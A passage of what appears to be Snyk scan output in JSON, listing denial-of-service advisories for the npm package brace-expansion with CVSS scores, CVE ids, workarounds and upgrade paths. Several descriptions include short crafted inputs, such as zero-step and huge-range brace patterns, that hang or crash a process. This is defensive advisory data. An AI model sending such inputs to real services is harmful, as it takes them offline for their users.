"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": 